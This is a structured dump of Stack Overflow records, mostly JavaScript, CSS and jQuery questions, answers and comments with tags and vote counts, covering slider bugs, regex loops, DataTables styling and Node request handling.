has body: I am having a problem , when ever I press the previous button it goes to the second photo and the third caption instead of the third photo and the third caption.. the next button is working very well , you can test it on your own html code : صدور الموسم التاني من هجوم العمالقة الغاء انمي هانتر هانتر محسن يا the CSS code : #prev{ position: absolute; left: 20px; top: 340px; background-image: url(Arrows.png); } #next{ position: absolute; right: 20px; top: 340px; background-image: url(Arrows.png); background-position: -60px 0px; } #prev,#next{ outline: 0; height: 60px; width:60px; opacity: 0; text-indent: -9999px; transition:ease-in all 300ms; cursor: pointer; z-index: 10; } .slider{ height: 720px; width: 1280px; position: relative; overflow: hidden; transition:ease-in all 300ms; } .slider:hover{ opacity: 0.85; transition:ease-in all 300ms; } .slider:hover #prev{ opacity: 1; transition:ease-in all 300ms; } .slider:hover #next{ opacity: 1; transition:ease-in all 300ms; } .slider:hover h1{ transform:translate(-20px); transition:ease-in all 300ms; } .slider:hover #bullet{ opacity: 1; transition:ease-in all 300ms; } .imageslider{ width: 1280px; height:720px; border-radius: 0px 0px 10px 10px; z-index: 0 } #caption1,#caption2,#caption3{ background-image:url( bgnews.png); width: 650px; height:70px; position: absolute; top: 550px; right:40px; border-radius: 50px; display: none; } #caption1{ z-index: 2; } #caption2{ z-index: 1 } #caption3{ z-index: 0 } .slider h1{ font-size: 25px; color: white; text-align: right; padding-right: 30px; padding-top: 7px; transition:ease-in all 300ms; } the jQuery sliding code : sliderInt=1; sliderNext=2; $(document).ready(function(){ $('.slider>div#'+sliderInt).stop().fadeIn(300).delay(0); $('#caption'+sliderInt).stop().fadeIn(1000); startSlider(); }); function startSlider(){ count= $(".slider>div").size(); loop=setInterval(function(){ $(".slider>div#"+sliderInt).stop().fadeOut(0); $('#caption'+sliderInt).stop().fadeOut(300); if(sliderNext>count){ …
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25735295
tagged with: css
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40236128
type: Question
has comment: http://stackoverflow.com/comment/40235997
has answer: http://stackoverflow.com/a/25735295

http://stackoverflow.com/comment/40449272
has text: Technically you mean permutations.
type: Comment
type: QuestionComment
score: 4
comment on: http://stackoverflow.com/q/25851659

http://stackoverflow.com/q/25839454
has comment: http://stackoverflow.com/comment/40427831
has comment: http://stackoverflow.com/comment/40427755
has comment: http://stackoverflow.com/comment/40427837
has title: Javascript/PHP Interpret 64 bit integer as float
accepted answer: http://stackoverflow.com/a/25840056
type: Question
has comment: http://stackoverflow.com/comment/40427770
has body: I have a 64 bit integer that I would like to interpret as a float. I can do this interpretation in either PHP or javascript, so any potential solutions can pick their language of choice. I don't mean I want to re-assign something like 4 to 4.0. I have the follow 8 bytes of data: Dec (int): 4619191942746344941 Dec (float): 6.6666000000000000 Hex: 401AAA9930BE0DED I have 4619191942746344941 stored in a variable in my javascript/php code. How do I convert this to 6.6666000000000000?
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25840056
score: 0
has comment: http://stackoverflow.com/comment/40427760
tagged with: php
has comment: http://stackoverflow.com/comment/40427764
type: AnsweredQuestion

http://stackoverflow.com/a/25726658
upvote count: 1
has body: If you define a function so that &lt;div ng-click="doStuff($event)"&gt;&lt;/div&gt; Somewhere in your controller, you can then get a reference to the raw DOM element by using $scope.doStuff = function ($event){ var el = $event.target; }
answers question: http://stackoverflow.com/q/25726555
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/a/25815487
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25814894
answers question: http://stackoverflow.com/q/25814894
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40383865
has body: You'd have to loop over the inner pattern. First use /&lt;(.*?)&gt;/ to extract it: var outerRegex = /&lt;(.*?)&gt;/; var match = outerRegex.exec(input); var innerPattern = match[1]; Next, iterate over the result: var innerRegex = /#\d+/g; while (match = innerRegex.exec(innerPattern)) { var result = match[0]; ... }
score: 3

http://stackoverflow.com/comment/40245484
score: 0
comment on: http://stackoverflow.com/q/25739718
type: QuestionComment
type: Comment
has text: *" I want to display result depends on the user wants they need to choose on 2 Dropdown list first and then they need to click the button to display the result"* - i didn't understand anything from that. BTW, what have you tried? if you expect somebody else to write the code for you, you'll be always *kind of new*

http://stackoverflow.com/q/25751997
has answer: http://stackoverflow.com/a/25752216
type: Question
tagged with: flash
has body: I need to programmatically detect the version of Flash installed in the browser, using Javascript. I know about swfobject.getFlashPlayerVersion(), but it only returns the major.minor.release parts of the Flash version, and I need the build number (e.g. M.m.r.build) as well. There seems to be a way to get at the build number in ActionScript, but I need to do this from Javascript, so I can pass the value back to the server. Any ideas?
answer count: 1
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40299993
has comment: http://stackoverflow.com/comment/40267943
has title: How to programmatically get Flash version including build number
type: UnansweredQuestion

http://stackoverflow.com/comment/40335933
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25787867
has text: Sure. I see the origin but analytics miss the goal so I don't know whether this user makes a checkout or not.
score: 0

http://stackoverflow.com/q/25854212
has body: I have this: var scores=[0.7, 1.05, 0.81, 0.96, 3.2, 1.23]; What's the more readable way to return the indexes of the nearest values to another variable? For instance: With variable = 1 Should return { low: 3, high: 1 }
favorite count: 0
has answer: http://stackoverflow.com/a/25854951
has answer: http://stackoverflow.com/a/25855125
has answer: http://stackoverflow.com/a/25854386
accepted answer: http://stackoverflow.com/a/25854862
has answer: http://stackoverflow.com/a/25855853
type: AnsweredQuestion
score: 7
upvote count: 7
type: Question
has answer: http://stackoverflow.com/a/25858277
tagged with: javascript
has answer: http://stackoverflow.com/a/25854862
has comment: http://stackoverflow.com/comment/40454194
has answer: http://stackoverflow.com/a/25854391
possible better answer: http://stackoverflow.com/a/25858277
downvote count: 0
answer count: 7
has title: Return index of nearest values in an array
has comment: http://stackoverflow.com/comment/40453978

http://stackoverflow.com/a/25804757
type: Answer
score: 1
upvote count: 1
downvote count: 0
has body: Javascript alert dialogs are synchronous. They run on the main thread, so whilst an alert is open you can't have any code running. If you really need to detect whether an alert is open, you'll need to use a custom HTML dialog. You'll also get the added bonus of styling and custom behaviour.
answers question: http://stackoverflow.com/q/25804426

http://stackoverflow.com/a/25814775
answers question: http://stackoverflow.com/q/25814667
upvote count: 1
has body: The warning is just saying that submitting information from a non-HTTPS site to a site with HTTPS, or vice versa, exposes that information to potential attackers. If the page your form is on is using HTTP, change it to HTTPS. If the page your form is on is using HTTPS and the URL it's submitting to is HTTP then you will have to change the page it is submitting to to HTTPS. If the receiving site doesn't support HTTPS then there's no way to avoid this warning, unless you submit it from a non-HTTPS page. If the information is sensitive, that is not a good idea. To change the remote site to use HTTPS, just change the protocol in the URL of your AJAX request.
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/comment/40256379
comment on: http://stackoverflow.com/a/25735459
score: 0
type: AnswerComment
has text: Thanks for your response. When i add this to either the in-line css and the datatables css upon first sight of the table with nothing in it I see the first row is red, after I submit the data in the form to the web app running in the background and the table is populated all formating of the table, colors the stripeing ,etc disappear...not sure what is going on here. Could ity be that i am running the form data through ajax and this is then changing the way the datatable is showing up? I don't think this should be the case if I put the css rules in the css file and in-line css rules...
type: Comment

http://stackoverflow.com/comment/107295634
type: Comment
score: 1
comment on: http://stackoverflow.com/a/54915305
has text: FYI - Internet Explorer doesn't support this `URL` functionality
type: AnswerComment

http://stackoverflow.com/comment/40256940
type: QuestionComment
has text: @DaveNewton I know, sorry, I'm having one of those days.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25746067

http://stackoverflow.com/q/25759486
has comment: http://stackoverflow.com/comment/40282871
has body: I am trying to make isotope works with filter the same elements but by two ways, one is filter by links and the other filter by buttons like a carrusel. The links will filter the subgrups, I have 4 groups plus the all elements, and when I click each one just want to show the first two elements of the group and by the left right arrow buttons the next and before elements. I made the group filter works but the carrusell I dont know why I cant...Thanks if anyone can help me with an example. var related = $(this.options.itemsBlock); if (related) { var isoFilter = new Isotope(related, { itemSelector: '.item', layoutMode: 'fitRows', sortAscending: { name: true, datesusc: false } }); if (isoFilter) { var buttons = $$('#filters a'); buttons.addEvent('click', function (e) { e = new Event(e); e.stop(); var dataFilter = this.get('data-filter'); isoFilter.arrange({ filter: dataFilter }); }); var selectors = $$(this.options.selectorButtons); if (selectors) { selectors.removeEvents('click'); selectors.addEvent('click', function (e) { e = new Event(e); e.stop(); var dataFilter1 = '.g1-item-1'; // Just an example of the next two element from the first group isoFilter.arrange({ filter: dataFilter1 }); }); } }
downvote count: 0
tagged with: javascript
tagged with: jquery-isotope
favorite count: 0
has title: Isotope Filter mootools
answer count: 0
type: UnansweredQuestion
upvote count: 1
type: Question
score: 1
tagged with: mootools

rsvp.js
type: Tag
tag name: rsvp.js
tags question: http://stackoverflow.com/q/25816597

http://stackoverflow.com/comment/41388124
score: 0
type: AnswerComment
has text: @minitech there is a way to replace negative numbers too? Actually I'm needing this but I don't really understand the regExpr. Hope you can can help me!
type: Comment
comment on: http://stackoverflow.com/a/25818544

http://stackoverflow.com/comment/40384459
has text: bah this made it work perfectly. I'm not sure if I should be proud of myself for the code working flawlessly aside from that or feel like an idiot for not doing the correct operator.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25815904
type: Comment

http://stackoverflow.com/q/25735865
has comment: http://stackoverflow.com/comment/40238686
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40238885
tagged with: angularjs
type: UnansweredQuestion
tagged with: node.js
has comment: http://stackoverflow.com/comment/40238788
answer count: 0
has title: How come after a few $http requests my web app stops responding?
downvote count: 0
score: 1
type: Question
has comment: http://stackoverflow.com/comment/40238764
has comment: http://stackoverflow.com/comment/40238726
tagged with: javascript
has body: I'm making a little web app that has a queue on it, my entering queue code looks like so: Angular: $scope.leaveQueue = function() { $http.defaults.headers.post["Content-Type"] = "application/x-www-form-urlencoded"; $http.post('/user/queue/leave') .success(function(data) { if (data.hasOwnProperty('success')) { $route.reload(); return $scope.user.inQueue = false; }; }); } $scope.enterQueue = function() { $http.defaults.headers.post["Content-Type"] = "application/x-www-form-urlencoded"; $http.post('/user/queue/enter', $('#enterQueue').serialize()) .success(function(data) { if (data.hasOwnProperty('success')) { $route.reload(); return $scope.user.inQueue = true; } }); } My backend with Node to handle said queues are like so: router.route('/queue/enter') .post(function(req, res, next) { if (req.user.isLoggedIn) { req.app.get('pg').connect(req.app.get('conString'), function(err, client, done) { console.log(req.user.user_name, req.body.game, req.body.mode); client.query("INSERT INTO queue (user_name, user_game, user_mode, created_on) VALUES ($1, $2, $3, $4)", [req.user.user_name, req.body.game, req.body.mode, new Date()], function(err, results) { if (err) { return res.json({'error': err}) }; return res.json({'success': 'Entered Queue Successfully'}); }); }); }; }); router.route('/queue/leave') .post(function(req, res, nex) { if (req.user.isLoggedIn) { req.app.get('pg').connect(req.app.get('conString'), function(err, client, done) { if (err) { return res.json({'error':err}) }; client.query("DELETE FROM queue WHERE user_name = $1", [req.user.user_name], function(err, results) { if (err) { return res.json({ 'error': err}) }; return res.json({'success': results}); }); }); }; }); My problem is, if I enter and leave queue one too many times, my requests start to become infinitely pending and won't resolve till I restart my node app.js I have no idea why this is happening to me everything is returning a response wether there is an error or not so I'm not sure why it just leaves h…

http://stackoverflow.com/comment/40550217
comment on: http://stackoverflow.com/a/25887331
type: Comment
has text: Thanks @AmeliaBR - I'll incorporate it in the answer. I guess that would work for me as well then?
score: 0
type: AnswerComment

http://stackoverflow.com/a/29615726
accepted answer of: http://stackoverflow.com/q/25748361
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25748361
score: 1
has body: Well if all else fail, you can always fall back to the callback hell: gulp.task('rebuild', function(){ // Remove old build gulp.src('build/', {read: false}). pipe(rimraf()) .on('end', function () { // Copy all of the non generated files gulp.src('src/**/*'). pipe(gulp.dest('build/')) .on('end', function () { // Parse SASS/LESS and minify JS build_styles(); build_scripts(); }); }); });
has comment: http://stackoverflow.com/comment/47410430
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/47410468

http://stackoverflow.com/comment/40200487
score: 0
comment on: http://stackoverflow.com/q/25715682
has text: Where is your `$.connection` callback being registered?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40481398
comment on: http://stackoverflow.com/a/25869191
score: 0
type: Comment
type: AnswerComment
has text: Yeah, but I'm getting all white spaces using `($(this).outerWidth() - $(this).width());` so it should not be the problem, I think. The way you say this is like I cannot capture this `white space` using jQuery.

http://stackoverflow.com/q/25728709
downvote count: 0
tagged with: javascript
score: 6
has comment: http://stackoverflow.com/comment/40224484
has body: I am using dataTable jquery plugin. I need to reduce the height of the rows, how can I do it? (I need a fixed height) I tried: .dataTables tbody tr { min-height: 35px; /* or whatever height you need to make them all consistent */ } JSFiddle
type: Question
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: datatables
has answer: http://stackoverflow.com/a/49333421
favorite count: 0
tagged with: css
upvote count: 6
has answer: http://stackoverflow.com/a/25728984
has answer: http://stackoverflow.com/a/49333796
accepted answer: http://stackoverflow.com/a/25728984
possible better answer: http://stackoverflow.com/a/70430869
has answer: http://stackoverflow.com/a/70430869
answer count: 4
has title: Reduce dataTable tr height

http://stackoverflow.com/q/25810526
accepted answer: http://stackoverflow.com/a/25810835
type: AnsweredQuestion
has title: AngularJs ng-repeat in group class
score: 1
tagged with: angularjs-ng-repeat
favorite count: 0
type: Question
answer count: 1
linked to: http://stackoverflow.com/q/20858395
upvote count: 1
has answer: http://stackoverflow.com/a/25810835
downvote count: 0
has body: Colleagues; i have this: app.controller("pedidosCtrl", function($scope){ $scope.eventos = [{nome: 'Nome do evento 1',descricao:'Descricao 01',preco: 10.00}, {name: 'Nome do evento 2',description:'Descricao 02',preco: 20.00}, {name: 'Nome do evento 3',description:'Descricao 03',preco: 60.00}, {name: 'Nome do evento 4',description:'Descricao 04',preco: 60.00}, {name: 'Nome do evento 5',description:'Descricao 05',preco: 60.00}, {name: 'Nome do evento 6',description:'Descricao 06',preco: 60.00}]; }); And HTML Nome do evento: {{e.nome}} Ok. Works perfectly. But if you want a div involving every 3 iterations, resulting in something like: nome do evento 1 nome do evento 2 nome do evento 3 nome do evento 4 nome do evento 5 nome do evento 6 ... Just found solutions for this complex problem and could not apply any of them Thank you
tagged with: javascript

http://stackoverflow.com/q/25740784
tagged with: javascript
tagged with: google-maps-api-3
has body: Desired functionality After gathering pre-defined Start, End and intermediate Waypoints from a database, query the Google Maps API V3 to: a) Optimize a route based on the Waypoints given. b) Display such route on a Map. Display the optimal waypoint order. c) Give the user the possibility to edit the order of waypoints. Please note: It is not desired to drag the waypoint´s marker to change it´s address. The desired behaviour is to have a list of waypoints as ordered by the API and then to be able to manually edit the order and update the map accordingly. d) Save back to the database the final order after the API´s answer and the user´s possible edits. What is currently working Functionality described in points A and B is covered by the following code: function initialize() { var mapOptions = { zoom: 8, &lt;!-- We can also support customizable zoom levels according to the size of delivery area !--&gt; center: region }; map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions); directionsDisplay.setMap(map); directionsDisplay.setPanel(document.getElementById('directionsPanel')); google.maps.event.addListener(directionsDisplay, 'directions_changed', function() { computeTotalDistance(directionsDisplay.getDirections()); }); calcRoute(); } function calcRoute() { var request = { origin: 'Chemnitz, Germany', &lt;!-- This will be the main address, we get it from the database. --&gt; destination: 'Chemnitz, Germany', optimizeWaypoints: true, waypoints:[{location: 'Mittweida, Germany'}, {location: 'Zwickau, Germany'}, {location: 'Dresden, Germany'}, {location: 'Freiberg, Germany'}], &lt;!-- This will be the list of locations the truck has to visit, we get it from the database. --&gt; travelMode: google.maps.TravelMode.DRIVING &lt;!-- Maps supports many types of transport, but we have to specify this is a particular vehicle. --&gt; }; directionsService.route(request, function(response, status) { if (status == google.maps.DirectionsStatus.OK) { directionsDispla…
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25742057
accepted answer: http://stackoverflow.com/a/25742057
type: AnsweredQuestion
type: Question
has title: Edit an optimized Google Maps route
tagged with: google-maps

http://stackoverflow.com/comment/40291933
has text: They are functional for both of corse. But if you have a tablet u just have usually only thouch screen, I'm not saying all the time but usually. When you have computer, you usually work with mouse, again not all the time. You can have of corse a touch screen on desktop. But they're just different devices, so why the design couldn't be based on type of device, insted of resolution? Of corse that you can have functional dekstop version on tablet, but wouldn't it be better to have there this tablet version, which just fits little bit better in tablet device.
score: 0
comment on: http://stackoverflow.com/q/25764879
type: Comment
type: QuestionComment

replace
tags question: http://stackoverflow.com/q/25818458
tags question: http://stackoverflow.com/q/25752905
tags question: http://stackoverflow.com/q/25775548
tags question: http://stackoverflow.com/q/25736733
tags question: http://stackoverflow.com/q/25798551
tags question: http://stackoverflow.com/q/25820489
type: Tag
tags question: http://stackoverflow.com/q/25735616
tag name: replace
tags question: http://stackoverflow.com/q/25821622
tags question: http://stackoverflow.com/q/25789014

http://stackoverflow.com/q/25804829
type: AnsweredQuestion
has title: How do you add verbose logging code to functions without affecting performance?
score: 7
linked to: http://stackoverflow.com/q/11685407
type: Question
has answer: http://stackoverflow.com/a/28218462
tagged with: debugging
has body: Performance is important for a certain class I'm writing. I thought about calling a function like so: debug('This is a debug message, only visible when debugging is on'); And the contents would be like function debug(message) { if (DEBUG) console.log(message); } So I wonder: is this enough for V8 to flag this as "dead code" if the DEBUG variable never changes? Edit: I'm more worried about the performance in Node than on the browser, so removing the code while minifying would be insufficient. Edit2: I made a JSPerf benchmark out of the proposed solutions, and they are very surprising: http://jsperf.com/verbose-debug-loggin-conditionals-functions-and-no-ops/3
has comment: http://stackoverflow.com/comment/44800188
has answer: http://stackoverflow.com/a/25805583
linked to: http://stackoverflow.com/q/23762311
downvote count: 0
tagged with: javascript
tagged with: optimization
answer count: 3
favorite count: 0
accepted answer: http://stackoverflow.com/a/25805583
possible better answer: http://stackoverflow.com/a/25804888
tagged with: dead-code
has answer: http://stackoverflow.com/a/25804888
upvote count: 7
tagged with: node.js

http://stackoverflow.com/q/25795596
tagged with: ajax
has answer: http://stackoverflow.com/a/25796064
has body: I'm building an application with Laravel which communicates with an OpenCPU server to perform some calculations. The OpenCPU server returns data in JSON format, which I then process to pull out the relevant information. This data returns a sku, retailer, date and sales. These are then posted to a controller using AJAX. Within this controller I then want to upload this data into the database by creating a new array of data to upload in one go. Each row should have a sku, retailer, date and sales. The date field in the database is called date, but called obs in the code. OpenCPU returns JSON which is the parsed to a Javascript object using var data = JSON.parse(output); After logging to the Javascript console I get an array of the correct length, with the sales numbers. The data is then sent to a Laravel controller via AJAX $('#save').click(function(){ var id = $('#filter option:selected').text(); var json = $.ajax({ url: 'sales/' + id + '/update', type: 'POST', data: { 'sku': $('#sku').text(), 'retailer': $('#retailer').text(), 'obs': data.OBS, 'sales': data.Sales, }, async: false }).responseText; var message = JSON.parse(json); $('.flash').html(message).fadeIn(300).delay(2500).fadeOut(300); }); In Laravel I then try to store the data in a MySQL database using the following $sku = Input::get('sku'); $retailer = Input::get('retailer'); $obs = Input::get('obs'); $sales = Input::get('sales'); foreach($obs as $key =&gt; $n ){ $arrayData[] = array( 'sku' =&gt; $sku, 'retailer' =&gt; $retailer, 'date' =&gt; $obs[$key] 'sales' =&gt; $sales[$key] ); } Chart::create($arrayData); However the above code doesn't appear to work. The following code will create the correct number of rows in the database with the sku and retailer populated, but the sales figure is just the loop number, rather than the number of sales $sku = Input::get('sku'); $retailer = Input::get('retailer'); $dates = Input::get('obs'); $sales= Input::get('sales'); foreach(range(1, count($dates)) as $key){ DB::tab…
tagged with: php
tagged with: laravel
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
type: Question
has title: Laravel: upload multiple rows created from arrays
tagged with: javascript
answer count: 1
downvote count: 0
score: 1
favorite count: 0

eclipse
tag name: eclipse
tags question: http://stackoverflow.com/q/25813283
tags question: http://stackoverflow.com/q/25833369
type: Tag

http://stackoverflow.com/a/25776401
answers question: http://stackoverflow.com/q/25775994
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25775994
upvote count: 1
type: AcceptedAnswer
has body: Sort of. But you're going to work a little bit about it. Every relative path inside a CSS is relative to the stylesheet's location (if you don't take into account legacy Internet Explorer's "behaviors", whose paths are relative to the document's location). You can find the stylesheet's location in its href property, and that should alwyas be an absolute path. When you have a rule that uses url(...), you should resolve the path. var urlRE = /\burl\s*\(\s*([^\)]*|"[^"]*"|'[^']')\s*\)/g, schemaRE = /^(https?|file|data):/, css = rules[r].cssText, match, url; while (match = urlRE.exec(css)) { url = match[1]; // Strips the quotes if present if (url[0] === '"' || url[0] === "'") url = url.slice(1, -1); url = resolvePath(sheets[i].href, url); // do other stuff... } function resolvePath(base, url) { // The path is either absolute or a data URI if (schemaRE.test(url)) return url; // The path refers to another domain with the same schema if (url.substring(0, 2) === "//") return location.protocol + url; // The path is relative to the host's root if (url[0] === "/") return location.protocol + "//" + location.hostname + url; // Gets the stylesheet's dirname var i = base.lastIndexOf("/"); base = base.substring(0, i + 1); return base + url; } There, it's done. Well, almost. Paths can crawl up directories with .., but for the sake of simplicity I avoided to write a full fledged path parser. One trick in these cases is to take advantage of anchor elements: var a = document.createElement("a"); a.href = url; // e.g. http://host.com/test/../css/foo.css console.log(a.href); // =&gt; http://host.com/css/foo.css
type: Answer

jsp
tags question: http://stackoverflow.com/q/25773680
tags question: http://stackoverflow.com/q/25812116
tags question: http://stackoverflow.com/q/25843326
tags question: http://stackoverflow.com/q/25854952
tags question: http://stackoverflow.com/q/25811677
tags question: http://stackoverflow.com/q/25812885
tags question: http://stackoverflow.com/q/25717851
tags question: http://stackoverflow.com/q/25808796
tags question: http://stackoverflow.com/q/25849543
tags question: http://stackoverflow.com/q/25790998
tags question: http://stackoverflow.com/q/25770974
tags question: http://stackoverflow.com/q/25815013
tags question: http://stackoverflow.com/q/25830779
type: Tag
tags question: http://stackoverflow.com/q/25824649
tags question: http://stackoverflow.com/q/25724331
tags question: http://stackoverflow.com/q/25870528
tags question: http://stackoverflow.com/q/25718053
tags question: http://stackoverflow.com/q/25786675
tags question: http://stackoverflow.com/q/25725395
tags question: http://stackoverflow.com/q/25725743
tags question: http://stackoverflow.com/q/25802691
tags question: http://stackoverflow.com/q/25836386
tags question: http://stackoverflow.com/q/25788017
tag name: jsp
tags question: http://stackoverflow.com/q/25763882
tags question: http://stackoverflow.com/q/25809110
tags question: http://stackoverflow.com/q/25747486
tags question: http://stackoverflow.com/q/25862732
tags question: http://stackoverflow.com/q/25757861
tags question: http://stackoverflow.com/q/25714827
tags question: http://stackoverflow.com/q/25717467
tags question: http://stackoverflow.com/q/25866895
tags question: http://stackoverflow.com/q/25801825
tags question: http://stackoverflow.com/q/25750469
tags question: http://stackoverflow.com/q/25768412
tags question: http://stackoverflow.com/q/25750742
tags question: http://stackoverflow.com/q/25767439
tags question: http://stackoverflow.com/q/25753552
tags question: http://stackoverflow.com/q/25793321
tags question: http://stackoverflow.com/q/25718561

http://stackoverflow.com/a/41536905
type: Answer
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25718509
answers question: http://stackoverflow.com/q/25718509
has comment: http://stackoverflow.com/comment/70286886
has body: This might happen because The tab/window is in incognito / private surfing mode The browser is configured to track no history at all The item was set on another port or scheme (of the same domain) (e.g. http://foo.com instead of https://foo.com) From the W3C specification: The user agent may throw a SecurityError exception and abort these steps instead of returning a Storage object if the request violates a policy decision (e.g. if the user agent is configured to not allow the page to persist data). If the Document's origin is not a scheme/host/port tuple, then throw a SecurityError exception and abort these steps.
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/31081793
upvote count: 1
has body: I'm not sure it's the best answer, but I "solved" it by keeping track of the last URL that was visited (through the startLoad event) and when I see someone linking somewhere to a different site than the one that is already loaded (using the startLoad event), I do a window.open with _system on the external URL, and then change the page of the InAppBrowser back to the last URL it was on (which I'm keeping track of). Not the most elegant, but I couldn't find any other way to do it, and it seems to work not bad. Using cordova 3.6.3 (hoping to upgrade next week) and inAppBrowser 0.6.0. I can probably post code snippets if someone thinks it might be useful.
downvote count: 0
has comment: http://stackoverflow.com/comment/67311906
has comment: http://stackoverflow.com/comment/67347829
type: Answer
answers question: http://stackoverflow.com/q/25743364
score: 1

http://stackoverflow.com/comment/40246542
type: Comment
type: QuestionComment
has text: The elements within table cell I'll be hovering over: Test1 Test2 The elements within table cell which are labels to be modified upon hovering over respective element Label1 Label2
score: 0
comment on: http://stackoverflow.com/q/25740174

http://stackoverflow.com/comment/40450349
has text: Have you waited for jQuery to be ready?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25852154
score: 1

http://stackoverflow.com/comment/40394839
type: Comment
type: QuestionComment
has text: You should look at d3, which does everything you want and more.
score: 0
comment on: http://stackoverflow.com/q/25752572

http://stackoverflow.com/a/25744573
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25730928
upvote count: 1
answers question: http://stackoverflow.com/q/25730928
has body: I have found a fix. It appears I had not set up require properly. The fix: require(["knockout", "jquery", "text"], function (ko) { // Register knockout components ko.components.register('template', { require: './Modules/Template/Template' }); // Apply bindings for state var scope = document.getElementById('app'); ko.applyBindings(appStateViewModel, scope); });
score: 1

http://stackoverflow.com/a/25800662
has body: Your directive is fine (except that there shouldn't be a semicolon after post:function(scope, tElement, tAttrs) {}). Directive usage: In SingleViewCard.html: Lorem ipsum Note that the exclamation mark comes before the curly braces. Explanation scope: { readOnly:'@' }, means that readOnly becomes a variable that holds a string value specified by the read-only attribute. We can then use our readOnly variable in the template by surrounding it with double curly braces. I have also made a jsFiddle for it here.
has comment: http://stackoverflow.com/comment/63614040
type: Answer
answers question: http://stackoverflow.com/q/25799363
upvote count: 4
downvote count: 0
score: 4

http://stackoverflow.com/q/25771562
has answer: http://stackoverflow.com/a/25771691
score: 1
has comment: http://stackoverflow.com/comment/40303446
tagged with: xslt
type: Question
has comment: http://stackoverflow.com/comment/40303251
has comment: http://stackoverflow.com/comment/40303406
tagged with: javascript
has body: This has been asked before, but I want to evaluate if this is possible?... Is there a simple way to pass javascript variable into an xsl variable? Reason being, the variable will be coming from an external script. Here's my non-working code... &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"&gt; &lt;xsl:template match="/"&gt; &lt;div&gt; &lt;script type="text/javascript"&gt; var key = window.location.href; &lt;/script&gt; &lt;xsl:variable name="jsvar"&gt;$key&lt;/xsl:variable&gt; &lt;xsl:value-of select="$jsvar"/&gt; &lt;/div&gt; &lt;/xsl:template&gt; I want to display "Term1" on the web page. Any idea?
upvote count: 1
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40303580
has comment: http://stackoverflow.com/comment/40303628
type: UnansweredQuestion
has title: How to pass javascript variable to xsl variable?
downvote count: 0

http://stackoverflow.com/comment/40323463
score: 0
has text: Because it will increase server load unnecessarily and thus increase page load time and it's work that you can't really cache and chances are that the user has more power than the server can divvy up between clients.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25779942

http://stackoverflow.com/comment/40298268
score: 0
type: QuestionComment
type: Comment
has text: Any sample codest on this maybe on sample how to read one of the select say the in my pop-up ?
comment on: http://stackoverflow.com/q/25767754

http://stackoverflow.com/comment/40481803
type: Comment
type: QuestionComment
has text: Not working, I think it may be because my form is injected
comment on: http://stackoverflow.com/q/25868638
score: 0

http://stackoverflow.com/comment/40449717
type: AnswerComment
has text: Ok I see it working on your fiddle, but when I add it to my page it doesn't :S I added it like that before the script for changing the page, isn't it right?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25851042

http://stackoverflow.com/a/25735083
downvote count: 0
has comment: http://stackoverflow.com/comment/40271829
has body: you are corrected that ember handles promises as array but you need you return that array. i do not know rail syntax but regular syntax would be like this. return Ember.$.getJSON("http://localhost:3000/dictionary").then(function(data){ return data; }); And this model should be in route, not controller. Hope it helps!
score: 1
has comment: http://stackoverflow.com/comment/40251854
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/25734639

http://stackoverflow.com/comment/40369357
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25808102
score: 4
has text: Hint: Don't try to guess what your resulting JavaScript looks like or how it behaves. Actually *look at it* and *debug it* in your browser. "Nothing happens if I click" isn't debugging. Your browser's JavaScript console is most certainly telling you what the problem is, don't ignore it.

http://stackoverflow.com/a/25795011
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25794816
answers question: http://stackoverflow.com/q/25794816
has comment: http://stackoverflow.com/comment/40346062
has body: A shape should respond to a click event and it responds // In your case google.maps.event.addListener(polyline, 'click', function() { // Zoom as you wish here map.setZoom(map.getZoom() + 2); }); Perharps you should also set the center of map to the center of polygone. Br

http://stackoverflow.com/q/25859799
has comment: http://stackoverflow.com/comment/40484054
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/26113004
downvote count: 0
has comment: http://stackoverflow.com/comment/40464623
has title: Dynamically adding div element from html encoded string containing Div and Script markup
favorite count: 0
has answer: http://stackoverflow.com/a/25988960
has comment: http://stackoverflow.com/comment/40465702
has comment: http://stackoverflow.com/comment/40467157
possible better answer: http://stackoverflow.com/a/25989207
tagged with: python
has answer: http://stackoverflow.com/a/25989207
accepted answer: http://stackoverflow.com/a/25997061
has answer: http://stackoverflow.com/a/26094015
has comment: http://stackoverflow.com/comment/40471299
type: AnsweredQuestion
